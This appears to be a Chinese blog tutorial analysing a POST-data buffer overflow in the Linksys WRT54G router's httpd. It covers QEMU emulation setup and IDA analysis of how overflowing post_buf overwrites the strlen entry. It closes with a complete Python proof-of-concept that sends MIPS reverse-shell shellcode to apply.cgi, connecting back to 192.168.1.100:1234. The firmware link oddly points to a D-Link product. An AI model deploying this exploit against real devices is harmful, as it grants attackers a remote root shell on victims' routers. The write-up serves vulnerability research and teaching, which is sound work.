Linksys WRT54G路由器溢出漏洞分析–运行环境修复

Linksys WRT54G路由器溢出漏洞分析--运行环境修复

固件下载:files.dlink.com.au - /Products/DIR-505/REV_A/Firmware/v1.05b04/

nvram-faker动态库下载: GitHub - zcutlip/nvram-faker: A simple library to intercept calls to libnvram when running embedded linux applications in emulated environments.

攻击机:192.168.40.146

路由器:192.168.40.200

qemu-system启动仿真系统:

复制代码
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2\ .0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

利用scp传输路由器文件系统

复制代码
sudo scp -r ./squashfs-root/ root@192.168.40.200:/root/

设法启动httpd

方法一:

这种方法没成功启动httpd(不知道它的具体开启文件在哪),只打开了个ftp服务。

方法二:

方法三(强制开启):

复制代码
sudo chroot ./ ./qemu-mipsel-static ./usr/sbin/httpd

解释下附带./qemu-mipsel-static:程序所依赖的动态链接库,让它自动识别找不到,所以在qemu用户模式中使用编译好的qemu-mipsel-static程序启动,使用qemu-mipsel-static程序中被编译进去的依赖库。

IDA静态分析

根据分析得出伪代码推测:

复制代码
wreadlen = wfread(post_buf,1,content-length,fhandle);
if(wreadlen)
     strlen(post_buf);

读取长度为content-length的所有POST数据到post_buf,如果读取的POST数据长度不为0,就计算post_buf中数据的长度。 这里的content-length是POST参数的长度,在调用do_apply_post函数时并没有进行校验,而该长度在使用读取数据进入内存时也没有进行校验就直接读取了POST参数,因此导致了缓冲区溢出。

我们再看看产生缓冲区溢出的内存post_buf的位置。可以看到,post_buf位于HTTPD的 .data段中,如下图所示。在应用程序中,.data段用于存放已初始化的全局变量,这里的post_buf大小为0x2710字节(10 000字节)。

构造攻击

1,tips:IDA各子窗口打开处

2,根据.data段追溯,在漏洞分析中发现,该漏洞有一个特征,缓冲区溢出的数据覆盖到 .data段中的是全局变量。仔细分析能够发现在 .data段后面有以下段,如下图所示。

3,因为这些段是连续的并且可写入(关键条件),所以我们考虑通过do_apply_post函数的漏洞使溢出数据连续覆盖 .data后面的多个段,直到将 .extern段中的strlen函数地址覆盖(IDA中粉红色字体标注的函数都来自extern段),这样,我们就可以在wfread函数覆盖内存以后,在调用strlen函数时将执行流程劫持并执行任意地址的代码,如下图所示。

4,在这里,只要填充0x2F32(0x1000D7A0 - 0x10001AD8)字节的数据,就可以将原来的strlen调用位置填充为任意地址,并控制执行流程。但是,为了利用的稳定性和通用性,这里选择将strlen之后的一段数据一并覆盖,利用方法如下图所示。 在post_buf中填充NOP指令及Shellcode,将post_buf之后总共0x4000字节的数据全部覆盖为post_buf首地址,使布置的缓冲区总是能够覆盖strlen函数地址,strlen指向post_buf,如此一来,原来执行strlen的地方都会跳转到post_buf首地址去执行。这样就可以保证wfread() 函数布置完缓冲区以后,在0x004112D8处执行strlen函数时会被劫持到post_buf头部去执行我们的Shellcode了。

ret2shellcode的方法实现POC

复制代码
import sys
import struct,socket
import urllib2
def makepayload(host,port):
     print '[*] prepare shellcode',
     hosts = struct.unpack('<cccc',struct.pack('<L',host))
     ports = struct.unpack('<cccc',struct.pack('<L',port))
     mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6
     mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
     mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3
     mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3
     mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
     mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket
     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
     mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)
     mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
     mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd
     mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
     mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)
     mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c"   # lui t6,0x1f90
     mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35"   # ori t6,t6,0x1f90
     mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)
     mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c"   # lui t6,0x7f01
     mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35"   # ori t6,t6,0x101
     mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)
     mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30
     mipselshell+="\xef\xff\x0c\x24"   # li t4,-17
     mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero
     mipselshell+="\x4a\x10\x02\x24"   # li v0,4170  # sys_connect
     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
     mipselshell+="\xfd\xff\x11\x24"   # li s1,-3
     mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero
     mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
     mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop
     mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2
     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
     mipselshell+="\xff\xff\x10\x24"   # li s0,-1
     mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1
     mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 <dup2_loop>
     mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
     mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"
     mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "//"
     mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)
     mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"
     mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"
     mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)
     mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)
     mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20
     mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)
     mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)
     mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8
     mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve
     mipselshell+="\x0c\x01\x01\x01"  # syscall 0x40404
     print 'ending ...'
     return mipselshell 
 try:
     target = sys.argv[1]
 except:
     print "Usage: %s <target>" % sys.argv[0]
     sys.exit(1) 
 url = "http://%s/apply.cgi" % target
 #ip='192.168.230.136'
 sip='192.168.1.100'     #reverse_tcp local_ip
 sport = 1234            #reverse_tcp local_port
 DataSegSize = 0x4000
 host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
 payload = makepayload(host,sport)
 addr = struct.pack("<L",0x10001AD8)
 DataSegSize = 0x4000
 buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4) 
 req = urllib2.Request(url, buf)
 print urllib2.urlopen(req).read()

参考

Linksys WRT54G 路由器溢出漏洞分析------ 运行环境修复 - 博文视点安全技术大系

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
小黎14757789853641 天前
OpenClaw 连接飞书完整指南:插件安装、配置与踩坑记录
机器学习
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
哥布林学者2 天前
高光谱成像(二)光谱角映射 SAM
机器学习·高光谱成像
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
哥布林学者2 天前
高光谱成像(一)高光谱图像
机器学习·高光谱成像
罗西的思考2 天前
AI Agent框架探秘:拆解 OpenHands(10)--- Runtime
人工智能·算法·机器学习